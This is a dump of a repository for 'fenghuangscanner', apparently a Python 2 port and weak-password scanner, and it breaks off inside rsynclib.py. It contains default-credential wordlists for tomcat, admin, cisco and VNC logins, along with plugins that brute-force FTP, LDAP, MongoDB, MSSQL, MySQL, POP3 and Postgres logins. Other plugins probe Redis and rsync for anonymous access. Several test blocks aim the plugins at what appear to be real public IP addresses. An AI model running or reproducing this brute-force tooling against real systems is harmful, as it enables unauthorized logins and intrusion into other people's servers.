    "content": "tomcat:1\ntomcat:12\ntomcat:tomcat\ntomcat:tomcat123\ntomcat:tomcat123456\ntomcat:123\ntomcat:1234\ntomcat:12345\ntomcat:123456\ntomcat:1234567\ntomcat:12345678\ntomcat:123456789\ntomcat:1234567890\ntomcat:654321\ntomcat:54321\ntomcat:00000000\ntomcat:88888888\ntomcat:pass\ntomcat:password\ntomcat:passwd\ntomcat:!@#$%^\ntomcat:1q2w3e\ntomcat:qawsed\ntomcat:pwd\ntomcat:1qaz2ws3e4\ntomcat:qazwsxedc\ntomcat:!@#$%^&*\ntomcat:s3cret\nadmin:1\nadmin:12\nadmin:admin\nadmin:123\nadmin:1234\nadmin:12345\nadmin:123456\nadmin:1234567\nadmin:12345678\nadmin:123456789\nadmin:1234567890\nadmin:654321\nadmin:54321\nadmin:00000000\nadmin:88888888\nadmin:pass\nadmin:password\nadmin:passwd\nadmin:!@#$%^\nadmin:1q2w3e\nadmin:qawsed\nadmin:pwd\nadmin:1qaz2ws3e4\nadmin:qazwsxedc\nadmin:!@#$%^&*\nadmin:rootpass\nadmin:rootpassword\nadmin:rootpasswd\ntest:1\ntest:12\ntest:123\ntest:1234\ntest:12345\ntest:123456\ntest:1234567\ntest:123123\ntest:12345678\ntest:123456789\ntest:test\ntest:654321\ntest:54321"
  },
  {
    "path": "Weak_Password/fenghuangscanner/conf/vnc.conf",
    "content": "root\nvnc\nvnc123\nvncpass\nvnc123456\nvncpassword\nvncpasswd\n123\n1234\n12345\n123456\n1234567\n12345678\n123456789\n1234567890\n654321\nrootpass\n54321\n00000000\n88888888\npass\npassword\npasswd\n!@#$%^\n1q2w3e\nqawsed\npwd\n1qaz2ws3e4\nqazwsxedc\n!@#$%^&*\nroot123\nroot123456\nrootpassword\nrootpasswd"
  },
  {
    "path": "Weak_Password/fenghuangscanner/conf/web.conf",
    "content": "cisco:1\ncisco:12\ncisco:cisco\ncisco:123\ncisco:1234\ncisco:12345\ncisco:123456\ncisco:1234567\ncisco:12345678\ncisco:123456789\ncisco:1234567890\ncisco:654321\ncisco:54321\ncisco:00000000\ncisco:88888888\ncisco:pass\ncisco:password\ncisco:passwd\ncisco:!@#$%^\ncisco:1q2w3e\ncisco:qawsed\ncisco:pwd\ncisco:1qaz2ws3e4\ncisco:qazwsxedc\ncisco:!@#$%^&*\ncisco:rootpass\ncisco:rootpassword\ncisco:rootpasswd\nadmin:1\nadmin:12\nadmin:admin\nadmin:123\nadmin:1234\nadmin:12345\nadmin:123456\nadmin:1234567\nadmin:12345678\nadmin:123456789\nadmin:1234567890\nadmin:654321\nadmin:54321\nadmin:00000000\nadmin:88888888\nadmin:pass\nadmin:password\nadmin:passwd\nadmin:!@#$%^\nadmin:1q2w3e\nadmin:qawsed\nadmin:pwd\nadmin:1qaz2ws3e4\nadmin:qazwsxedc\nadmin:!@#$%^&*\nadmin:rootpass\nadmin:rootpassword\nadmin:rootpasswd\ntest:1\ntest:12\ntest:123\ntest:1234\ntest:12345\ntest:123456\ntest:1234567\ntest:123123\ntest:12345678\ntest:123456789\ntest:test\ntest:654321\ntest:54321"
  },
  {
    "path": "Weak_Password/fenghuangscanner/factorys/__init__.py",
    "content": "#!/usr/bin/python\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/factorys/pluginFactory.py",
    "content": "# coding: utf-8\n__author__=\"wilson\"\nimport os\nimport sys\n\nsys.path.append(\"../\")\n\nfrom plugins.ftp import *\nfrom plugins.smb import *\nfrom plugins.mysql import *\nfrom plugins.mssql import *\nfrom plugins.ldapd import *\nfrom plugins.mongodb import *\nfrom plugins.redisexp import *\nfrom plugins.rsync import *\nfrom plugins.snmp import *\nfrom plugins.ssh import *\nfrom plugins.ssltest import *\nfrom plugins.vnc import *\nfrom plugins.web import *\n\ndef ftpburp(c):\n\tt = ftp_burp(c)\n\treturn t\n\ndef smbburp(c):\n\tt = smb_burp(c)\n\treturn t\n\ndef mysqlburp(c):\n\tt = mysql_burp(c)\n\treturn t\n\ndef mssqlburp(c):\n\tt = mssql_burp(c)\n\treturn t\n\ndef ldapburp(c):\n\tt = ldap_burp(c)\n\treturn t\n\ndef mongodbburp(c):\n\tt = mongodb_burp(c)\n\treturn t\n\ndef redisburp(c):\n\tt = redis_burp(c)\n\treturn t\n\ndef rsyncburp(c):\n\tt = rsync_burp(c)\n\treturn t\n\ndef snmpburp(c):\n\tt = snmp_burp(c)\n\treturn t\n\ndef sshburp(c):\n\tt = ssh_burp(c)\n\treturn t\n\ndef sslburp(c):\n\tt = ssl_burp(c)\n\treturn t\n\ndef vncburp(c):\n\tt = vnc_burp(c)\n\treturn t\n\ndef webburp(c):\n\tt = web_burp(c)\n\treturn t\n#类\nclass pluginFactory():\n\tdef __init__(self,c):\n\t\tself.pluginList=[]\n\t\tself.config=c\n\t\tself.pluginCategory= {\n\t\t\t\"ftp\":ftpburp,\t\t\t\n\t\t\t\"smb\":smbburp,\n\t\t\t\"mysql\":mysqlburp,\n\t\t\t\"mssql\":mssqlburp,\n\t\t\t\"ldap\":ldapburp,\n\t\t\t\"mongodb\":mongodbburp,\n\t\t\t\"redis\":redisburp,\n\t\t\t\"rsync\":rsyncburp,\n\t\t\t\"snmp\":snmpburp,\n\t\t\t\"ssh\":sshburp,\n\t\t\t\"ssl\":sslburp,\n\t\t\t\"vnc\":vncburp,\n\t\t\t\"web\":webburp,\n\t\t\t}\n\t\tself.get_pluginList()\n\n\n\tdef get_pluginList(self):\n\t\tfor name in self.pluginCategory:\n\t\t\t#实例化每个类\n\t\t\tresult_t=self.pluginCategory.get(name)(self.config)\n\t\t\tself.pluginList.append(result_t)\n\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/main.py",
    "content": "#coding=utf-8\n__author__ = 'wilson'\nimport argparse\nfrom comm.printers import printPink,printRed,printGreen\nfrom comm.config import *\nfrom comm.portscan import *\nfrom factorys.pluginFactory import *\n\n\n#实例化config类\nc=config()\n\nif __name__ == '__main__':\n    #接受cmd参数\n    parser = argparse.ArgumentParser(description='ports&*weak password scanner. teams:xdsec.  author: wilson ')\n    parser.add_argument('--ip',action=\"store\",required=False,dest=\"ip\",type=str,help='ip like 192.168.1.0/24 or 192.168.0.0/16')\n    parser.add_argument(\"--threads\",action=\"store\",required=False,dest=\"threads\",type=int,default=50,help='Maximum threads, default 50')\n    parser.add_argument(\"--P\",action=\"store\",required=False,dest=\"isping\",type=str,default='yes',help='--P not mean no ping frist,default yes')\n    parser.add_argument(\"--p\",action=\"store\",required=False,dest=\"user_ports\",type=str,default='',help='--p scan ports;like 21,80,445 or 22-1000')\n    parser.add_argument(\"--file\",action=\"store\",required=False,dest=\"file\",type=str,help='get ips or domains for this file')\n\n    args = parser.parse_args()\n    ip = args.ip\n    filename=args.file\n\n\n    #获取ip列表\n    if ip:\n        ips=c.getips(ip)\n        file=\"result/%s.txt\" %args.ip.replace(\"/\",\"\")\n    elif filename:\n        ips=c.file2list(filename)\n        filename=filename.split(\"/\")[-1]\n        file=\"result/%s.txt\" %filename\n    else:\n        print \"error args\";exit()\n\n    isping=args.isping\n    user_posts=args.user_ports\n    threads=args.threads\n\n    p=portscan(c,user_posts)\n    p.run(isping,threads,ips,file)\n\n    #print p.ipdict,p.pinglist\n    plugins=pluginFactory(c)\n    for pluginname in plugins.pluginList:\n        #print pluginname\n        if pluginname:\n            pluginname.run(p.ipdict,p.pinglist,threads,file)\n\n\n\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/plugins/__init__.py",
    "content": "__author__ = 'wilson'\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/plugins/ftp.py",
    "content": "#coding=utf-8\nimport time\nimport threading\nfrom multiprocessing.dummy import Pool\nfrom printers import printPink,printGreen\nfrom ftplib import FTP\n\n\nclass ftp_burp(object):\n\n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.lines=self.config.file2list(\"conf/ftp.conf\")\n\n\n    def ftp_connect(self,ip,username,password,port):\n        crack=0\n        try:\n            ftp=FTP()\n            ftp.connect(ip,str(port))\n            ftp.login(user=username,passwd=password)\n            crack=1\n            ftp.close()\n        except Exception,e:\n            self.lock.acquire()\n            print \"%s ftp service 's %s:%s login fail \" %(ip,username,password)\n            self.lock.release()\n        return crack\n\n\n    def ftp_l(self,ip,port):\n            try:\n                for data in self.lines:\n                    username=data.split(':')[0]\n                    password=data.split(':')[1]\n                    if self.ftp_connect(ip,username,password,port)==1:\n                        self.lock.acquire()\n                        printGreen(\"%s ftp at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.result.append(\"%s ftp at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.lock.release()\n                        break\n            except Exception,e:\n                pass\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['ftp']):\n            printPink(\"crack ftp  now...\")\n            print \"[*] start crack ftp  %s\" % time.ctime()\n            starttime=time.time()\n\n            pool=Pool(threads)\n\n            for ip in ipdict['ftp']:\n                pool.apply_async(func=self.ftp_l,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n            pool.close()\n            pool.join()\n\n            print \"[*] stop ftp serice  %s\" % time.ctime()\n            print \"[*] crack ftp done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file) \n\n\nif __name__ == '__main__':\n    import sys\n    sys.path.append(\"../\")\n    from comm.config import *\n    c=config()\n    ipdict={'ftp': ['192.168.1.1:21']} \n    pinglist=['192.168.1.1']\n    test=ftp_burp(c)\n    test.run(ipdict,pinglist,50,file=\"../result/test\")\n\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/plugins/ldapd.py",
    "content": "#coding=utf-8\nimport time\nimport threading\nfrom printers import printPink,printGreen\nfrom multiprocessing.dummy import Pool\nimport ldap\n\nclass ldap_burp(object):\n\n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.lines=self.config.file2list(\"conf/ldapd.conf\")\n\n\n    def ldap_connect(self,ip,username,password,port):\n        creak=0\n        try:\n            ldappath='ldap://'+ip+':'+port+'/'\n            l = ldap.initialize(ldappath)\n            re=l.simple_bind(username,password)\n            if re==1:\n                creak=1\n        except Exception,e:\n            if e[0]['desc']==\"Can't contact LDAP server\":\n                creak=2\n            pass\n        return creak\n\n    def ldap_creak(self,ip,port):\n            try:\n                for data in self.lines:\n                    username=data.split(':')[0]\n                    password=data.split(':')[1]\n                    flag=self.ldap_connect(ip,username,password,port)\n                    if flag==2:\n                        self.lock.acquire()\n                        printGreen(\"%s ldap at %s can't connect\\r\\n\" %(ip,port))\n                        self.lock.release()\n                        break\n\n                    if flag==1:\n                        self.lock.acquire()\n                        printGreen(\"%s ldap at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.result.append(\"%s ldap at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.lock.release()\n                        break\n                    else:\n                        self.lock.acquire()\n                        print \"%s ldap service 's %s:%s login fail \" %(ip,username,password)\n                        self.lock.release()\n            except Exception,e:\n                pass\n\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['ldap']):\n            printPink(\"crack ldap  now...\")\n            print \"[*] start ldap  %s\" % time.ctime()\n            starttime=time.time()\n\n            pool=Pool(threads)\n\n            for ip in ipdict['ldap']:\n                pool.apply_async(func=self.ldap_creak,args=(str(ip).split(':')[0],str(ip).split(':')[1]))\n            pool.close()\n            pool.join()\n\n            print \"[*] stop ldap serice  %s\" % time.ctime()\n            print \"[*] crack ldap done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file) \n\nif __name__ == '__main__':\n    import sys\n    sys.path.append(\"../\")\n    from comm.config import *\n    c=config()\n    ipdict={'ldap': ['124.172.223.236:389']} \n    pinglist=['192.168.1.1']\n    test=ldap_burp(c)\n    test.run(ipdict,pinglist,50,file=\"../result/test\")\n\n\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/plugins/mongodb.py",
    "content": "#coding=utf-8\nimport time\nimport threading\nfrom printers import printPink,printRed,printGreen\nfrom multiprocessing.dummy import Pool\nimport pymongo\n\n\nclass mongodb_burp(object):\n\n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.lines=self.config.file2list(\"conf/mongodb.conf\")\n\n\n    def mongoDB_connect(self,ip,username,password,port):\n        crack=0\n        try:\n            connection=pymongo.Connection(ip,port)\n            db=connection.admin\n            db.collection_names()\n            self.lock.acquire()\n            printRed('%s mongodb service at %s allow login Anonymous login!!\\r\\n' %(ip,port))\n            self.result.append('%s mongodb service at %s allow login Anonymous login!!\\r\\n' %(ip,port))\n            self.lock.release()\n            crack=1\n\n        except Exception,e:\n            if e[0]=='database error: not authorized for query on admin.system.namespaces':\n                try:\n                    r=db.authenticate(username,password)\n                    if r!=False:\n                        crack=2\n                    else:               \n                        self.lock.acquire()\n                        crack=3\n                        print \"%s mongodb service 's %s:%s login fail \" %(ip,username,password)\n                        self.lock.release()                   \n                except Exception,e:\n                    pass\n\n            else:\n                printRed('%s mongodb service at %s not connect' %(ip,port))\n                crack=4\n        return crack\n\n\n\n    def mongoDB(self,ip,port):\n            try:\n                for data in self.lines:\n                    username=data.split(':')[0]\n                    password=data.split(':')[1]\n                    flag=self.mongoDB_connect(ip,username,password,port)\n                    if flag in [1,4]:\n                        break\n\n                    if flag==2:\n                        self.lock.acquire()\n                        printGreen(\"%s mongoDB at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.result.append(\"%s mongoDB at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.lock.release()\n                        break\n            except Exception,e:\n                pass\n\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['mongodb']):\n            printPink(\"crack mongodb  now...\")\n            print \"[*] start crack mongodb  %s\" % time.ctime()\n            starttime=time.time()\n\n            pool=Pool(threads)\n\n            for ip in ipdict['mongodb']:\n                pool.apply_async(func=self.mongoDB,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n\n            pool.close()\n            pool.join()\n            print \"[*] stop mongoDB serice  %s\" % time.ctime()\n            print \"[*] crack mongoDB done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file) \n\n\nif __name__ == '__main__':\n    import sys\n    sys.path.append(\"../\")\n    from comm.config import *\n    c=config()\n    ipdict={'mongodb': ['112.90.23.158:27017']} \n    pinglist=['192.168.1.1']\n    test=mongodb_burp(c)\n    test.run(ipdict,pinglist,50,file=\"../result/test\")\n\n\n\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/plugins/mssql.py",
    "content": "#coding=utf-8\nimport time\nimport threading\nfrom printers import printPink,printGreen\nfrom multiprocessing.dummy import Pool\nimport pymssql\n\n\n\nclass mssql_burp(object):\n    \n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.lines=self.config.file2list(\"conf/mssql.conf\")\n\n    def mssql_connect(self,ip,username,password,port):\n        crack =0\n        try:\n            db=pymssql.connect(host=str(ip)+':'+str(port),user=username,password=password)\n            if db:\n                crack=1\n            db.close()\n        except Exception, e:\n            self.lock.acquire()\n            print \"%s sql service 's %s:%s login fail \" %(ip,username,password)\n            self.lock.release()\n        return crack\n\n\n    def mssq1(self,ip,port):\n            try:\n                for data in self.lines:\n                    username=data.split(':')[0]\n                    password=data.split(':')[1]\n                    flag=mssql_connect(ip,username,password,port)\n                    if flag==2:\n                        break\n                    if flag==1:\n                        self.lock.acquire()\n                        printGreen(\"%s mssql at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.result.append(\"%s mssql at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.lock.release()\n                        break\n            except Exception,e:\n                pass\n\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['mysql']):\n            printPink(\"crack sql serice  now...\")\n            print \"[*] start crack sql serice  %s\" % time.ctime()\n            starttime=time.time()\n            pool=Pool(threads)\n            for ip in ipdict['mssql']:\n                pool.apply_async(func=self.mssq1,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n            pool.close()\n            pool.join()\n\n            print \"[*] stop crack sql serice  %s\" % time.ctime()\n            print \"[*] crack sql serice  done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file) \n\n\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/plugins/mysql.py",
    "content": "#coding=utf-8\nimport time\nimport threading\nfrom printers import printPink,printGreen\nfrom multiprocessing.dummy import Pool\nimport MySQLdb\n\n\nclass mysql_burp(object):\n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.lines=self.config.file2list(\"conf/mysql.conf\")\n\n    def mysql_connect(self,ip,username,password,port):\n        crack =0\n        try:\n            db=MySQLdb.connect(ip,username,password,port=port)\n            if db:\n                crack=1\n            db.close()\n        except Exception, e:\n            if e[0]==1045:\n                self.lock.acquire()\n                print \"%s mysql's %s:%s login fail\" %(ip,username,password)\n                self.lock.release()\n            else:\n                self.lock.acquire()\n                print \"connect %s mysql service at %s login fail \" %(ip,port)\n                self.lock.release()\n                crack=2\n        return crack\n\n    def mysq1(self,ip,port):\n            try:\n                for data in self.lines:\n                    username=data.split(':')[0]\n                    password=data.split(':')[1]\n                    flag=self.mysql_connect(ip,username,password,port)\n                    if flag==2:\n                        break\n\n                    if flag==1:\n                        self.lock.acquire()\n                        printGreen(\"%s mysql at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.result.append(\"%s mysql at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.lock.release()\n                        break\n            except Exception,e:\n                pass\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['mysql']):\n            printPink(\"crack mysql now...\")\n            print \"[*] start crack mysql %s\" % time.ctime()\n            starttime=time.time()\n\n            pool=Pool(threads)\n            for ip in ipdict['mysql']:\n                pool.apply_async(func=self.mysq1,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n\n            pool.close()\n            pool.join()\n\n            print \"[*] stop crack mysql %s\" % time.ctime()\n            print \"[*] crack mysql done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file) \n\nif __name__ == '__main__':\n    import sys\n    sys.path.append(\"../\")\n    from comm.config import *\n    c=config()\n    ipdict={'mysql': ['127.0.0.1:3306']} \n    pinglist=['127.0.0.1']\n    test=mysql_burp(c)\n    test.run(ipdict,pinglist,50,file=\"../result/test\")"
  },
  {
    "path": "Weak_Password/fenghuangscanner/plugins/pop3.py",
    "content": "#coding=utf-8\nimport time\nfrom printers import printPink,printGreen\nimport threading\nfrom multiprocessing.dummy import Pool\nimport poplib\n\ndef pop3_Connection(ip,username,password,port):\n    try:\n        pp = poplib.POP3(ip)\n        #pp.set_debuglevel(1)\n        pp.user(username)\n        pp.pass_(password)\n        (mailCount,size) = pp.stat()\n        pp.quit()\n        if mailCount:\n            lock.acquire()\n            printGreen(\"%s pop3 at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n            result.append(\"%s pop3 at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n            lock.release()\n    except Exception,e:\n        print e\n        lock.acquire()\n        print \"%s pop3 service 's %s:%s login fail \" %(ip,username,password)\n        lock.release()\n        pass\n\ndef pop3_l(ip,port):\n        try:\n            d=open('conf/pop3.conf','r')\n            data=d.readline().strip('\\r\\n')\n            while(data):\n                username=data.split(':')[0]\n                password=data.split(':')[1]\n                pop3_Connection(ip,username,password,port)\n                data=d.readline().strip('\\r\\n')\n        except Exception,e:\n            print e\n            pass\n\ndef pop_main(ipdict,threads):\n    printPink(\"crack pop  now...\")\n    print \"[*] start crack pop  %s\" % time.ctime()\n    starttime=time.time()\n\n    global lock\n    lock = threading.Lock()\n    global result\n    result=[]\n\n    pool=Pool(threads)\n\n    for ip in ipdict['pop3']:\n        pool.apply_async(func=pop3_l,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n\n    pool.close()\n    pool.join()\n\n    print \"[*] stop pop serice  %s\" % time.ctime()\n    print \"[*] crack pop done,it has Elapsed time:%s \" % (time.time()-starttime)\n    return result"
  },
  {
    "path": "Weak_Password/fenghuangscanner/plugins/postgres.py",
    "content": "#coding=utf-8\nimport time\nimport threading\nfrom printers import printPink,printGreen\nfrom multiprocessing.dummy import Pool\nimport psycopg2\nimport re\n\n\ndef postgres_connect(ip,username,password,port):\n    crack =0\n    try:\n        db=psycopg2.connect(user=username, password=password, host=ip, port=port)\n        if db:\n            crack=1\n        db.close()\n    except Exception, e:\n        if re.findall(\".*Password.*\",e[0]):\n            lock.acquire()\n            print \"%s postgres's %s:%s login fail\" %(ip,username,password)\n            lock.release()\n            crack=2\n        else:\n            lock.acquire()\n            print \"connect %s postgres service at %s login fail \" %(ip,port)\n            lock.release()\n            crack=3\n        pass\n    return crack\n\ndef postgreS(ip,port):\n        try:\n            d=open('conf/postgres.conf','r')\n            data=d.readline().strip('\\r\\n')\n            while(data):\n                username=data.split(':')[0]\n                password=data.split(':')[1]\n                flag=postgres_connect(ip,username,password,port)\n                time.sleep(0.1)\n                if flag==3:\n                    break\n\n                if flag==1:\n                    lock.acquire()\n                    printGreen(\"%s postgres at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                    result.append(\"%s postgres at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                    lock.release()\n                    break\n                data=d.readline().strip('\\r\\n')\n        except Exception,e:\n            print e\n            pass\n\ndef postgres_main(ipdict,threads):\n    printPink(\"crack postgres now...\")\n    print \"[*] start postgres  %s\" % time.ctime()\n    starttime=time.time()\n\n    global lock\n    lock = threading.Lock()\n    global result\n    result=[]\n\n    pool=Pool(threads)\n\n    for ip in ipdict['postgres']:\n        pool.apply_async(func=postgreS,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n\n    pool.close()\n    pool.join()\n    print \"[*] stop crack postgres %s\" % time.ctime()\n    print \"[*] crack postgres done,it has Elapsed time:%s \" % (time.time()-starttime)\n    return result"
  },
  {
    "path": "Weak_Password/fenghuangscanner/plugins/redisexp.py",
    "content": "#coding=utf-8\nimport time\nimport threading\nfrom threading import Thread\nfrom printers import printPink,printGreen\nfrom Queue import Queue\nimport redis\n\nclass redis_burp(object):\n    \n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        #self.lines=self.config.file2list(\"conf/redis.conf\")\n        self.sp=Queue()\n\n    def redisexp(self):\n        while True:\n            ip,port=self.sp.get()\n            try:\n                r=redis.Redis(host=ip,port=port,db=0,socket_timeout=8)\n                r.dbsize()\n                self.lock.acquire()\n                printGreen('%s redis service at %s allow login Anonymous login!!\\r\\n' %(ip,port))\n                self.result.append('%s redis service at %s allow login Anonymous login!!\\r\\n' %(ip,port))\n                self.lock.release()\n            except Exception,e:\n                pass\n            self.sp.task_done()\n\n\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['redis']):\n            printPink(\"crack redis  now...\")\n            print \"[*] start crack redis  %s\" % time.ctime()\n            starttime=time.time()\n\n            for i in xrange(threads):\n                t = Thread(target=self.redisexp)\n                t.setDaemon(True)\n                t.start()\n\n            for ip in ipdict['redis']:\n                self.sp.put((str(ip).split(':')[0],int(str(ip).split(':')[1])))\n\n            self.sp.join()\n\n\n            print \"[*] stop redis serice  %s\" % time.ctime()\n            print \"[*] crack redis done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file)      \n\nif __name__ == '__main__':\n    import sys\n    sys.path.append(\"../\")\n    from comm.config import *\n    c=config()\n    ipdict={'redis': ['101.201.177.35:6379']} \n    pinglist=['101.201.177.35']\n    test=redis_burp(c)\n    test.run(ipdict,pinglist,50,file=\"../result/test\")\n\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/plugins/rsync.py",
    "content": "# -*- coding: utf-8 -*-\nimport threading\nfrom printers import printPink,printRed,printGreen\nfrom multiprocessing.dummy import Pool\nfrom Queue import Queue\nimport re\nimport time\nimport threading\nfrom threading import Thread\nfrom rsynclib import *\nimport sys\nimport socket\nsocket.setdefaulttimeout(10)\nsys.path.append(\"../\")\n\nclass rsync_burp(object):\n\n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.sp=Queue()\n\n    def get_ver(self,host):\n        debugging = 0\n        r = rsync(host)\n        r.set_debuglevel(debugging)\n        return r.server_protocol_version\n\n\n    def rsync_connect(self,ip,port):\n        creak=0\n        try:\n            ver=self.get_ver(ip)# get rsync moudle\n            fp = socket.create_connection((ip, port), timeout=8)\n            fp.recv(99)\n\n            fp.sendall(ver.strip('\\r\\n')+'\\n')\n            time.sleep(3)\n            fp.sendall('\\n')\n            resp = fp.recv(99)\n\n            modules = []\n            for line in resp.split('\\n'):\n                #print line\n                modulename = line[:line.find(' ')]\n                if modulename:\n                    if modulename !='@RSYNCD:':\n                        self.lock.acquire()\n                        printGreen(\"%s rsync at %s find a module:%s\\r\\n\" %(ip,port,modulename))\n                        self.result.append(\"%s rsync at %s find a module:%s\\r\\n\" %(ip,port,modulename))               \n                        #print \"find %s module in %s at %s\" %(modulename,ip,port)\n                        self.lock.release()\n                        modules.append(modulename)\n\n        except Exception,e:\n            print e\n            pass\n        return creak\n\n\n    def rsync_creak(self,ip,port):\n            try:\n                self.rsync_connect(ip,port)\n            except Exception,e:\n                print e\n\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['rsync']):\n            printPink(\"crack rsync  now...\")\n            print \"[*] start crack rsync  %s\" % time.ctime()\n            starttime=time.time()\n\n            pool=Pool(threads)\n\n            for ip in ipdict['rsync']:\n                pool.apply_async(func=self.rsync_creak,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n            pool.close()\n            pool.join()\n\n            print \"[*] stop rsync serice  %s\" % time.ctime()\n            print \"[*] crack rsync done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file) \n\n\nif __name__ == '__main__':\n    from comm.config import *\n    c=config()\n    ipdict={'rsync': ['103.228.69.151:873']} \n    pinglist=['103.228.69.151']\n    test=rsync_burp(c)\n    test.run(ipdict,pinglist,50,file=\"../result/test\")\n\n                \n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/plugins/rsynclib.py",
    "content": "import base64\nimport re\ntry:\n    import hashlib\n    hash_md4 = hashlib.new(\"md4\")\n    hash_md5 = hashlib.md5()\nexcept ImportError:\n    # for Python << 2.5\n    import md4\n    import md5\n    hash_md4 = md4.new()\n    hash_md5 = md5.new()\n\n# Import SOCKS module if it exists, else standard socket module socket\ntry:\n    import SOCKS; socket = SOCKS; del SOCKS # import SOCKS as socket\n    from socket import getfqdn; socket.getfqdn = getfqdn; del getfqdn\nexcept ImportError:\n    import socket\nfrom socket import _GLOBAL_DEFAULT_TIMEOUT\n\n__all__ = [\"rsync\"]\n\n\n\n# The standard rsync server control port\nRSYNC_PORT = 873\n# The sizehint parameter passed to readline() calls\nMAXLINE = 8192\nprotocol_version = 0\n\n# Exception raised when an error or invalid response is received\nclass Error(Exception): pass\n\n# All exceptions (hopefully) that may be raised here and that aren't\n# (always) programming errors on our side\nall_errors = (Error, IOError, EOFError)\n\n\n# Line terminators for rsync\nCRLF = '\\r\\n'\nLF = '\\n'\n\n# The class itself\nclass rsync:\n    '''An rsync client class.\n\n    To create a connection, call the class using these arguments:\n        host, module, user, passwd\n\n    All arguments are strings, and have default value ''.\n    Then use self.connect() with optional host and port argument.\n    '''\n    debugging = 0\n    host = ''\n    port = RSYNC_PORT\n    maxline = MAXLINE\n    sock = None\n    file = None\n    server_protocol_version = None\n\n    # Initialization method (called by class instantiation).\n    # Initialize host to localhost, port to standard rsync port\n    # Optional arguments are host (for connect()),\n    # and module, user, passwd (for login())\n    def __init__(self, host='', module='', user='', passwd='',port=873,\n                 timeout=_GLOBAL_DEFAULT_TIMEOUT):\n        self.timeout = timeout\n        if host:\n            self.connect(host)\n            if module and user and passwd:\n                self.login(module, user, passwd)\n\n    def connect(self, host='', port=0, timeout=-999):\n        '''Connect to host.  Arguments are:\n         - host: hostname to connect to (string, default previous host)\n         - port: port to connect to (integer, default previous port)\n        '''\n        if host != '':\n            self.host = host\n        if port > 0:\n            self.port = port\n        if timeout != -999:\n            self.timeout = timeout\n        self.sock = socket.create_connection((self.host, self.port), self.timeout)\n        self.af = self.sock.family\n        self.file = self.sock.makefile('rb')\n        self.server_protocol_version = self.getresp()\n        self.protocol_version = self.server_protocol_version[-2:]\n        return self.server_protocol_version\n\n\n    def set_debuglevel(self, level):\n        '''Set the debugging level.\n        The required argument level means:\n        0: no debugging output (default)\n        1: print commands and responses but not body text etc.\n        '''\n        self.debugging = level\n    debug = set_debuglevel\n\n    # Internal: send one line to the server, appending LF\n    def putline(self, line):\n        line = line + LF\n        if self.debugging > 1: print '*put*', line\n        self.sock.sendall(line)\n\n    # Internal: return one line from the server, stripping LF.\n    # Raise EOFError if the connection is closed\n    def getline(self):\n        line = self.file.readline(self.maxline + 1)\n        if len(line) > self.maxline:\n            raise Error(\"got more than %d bytes\" % self.maxline)\n        if 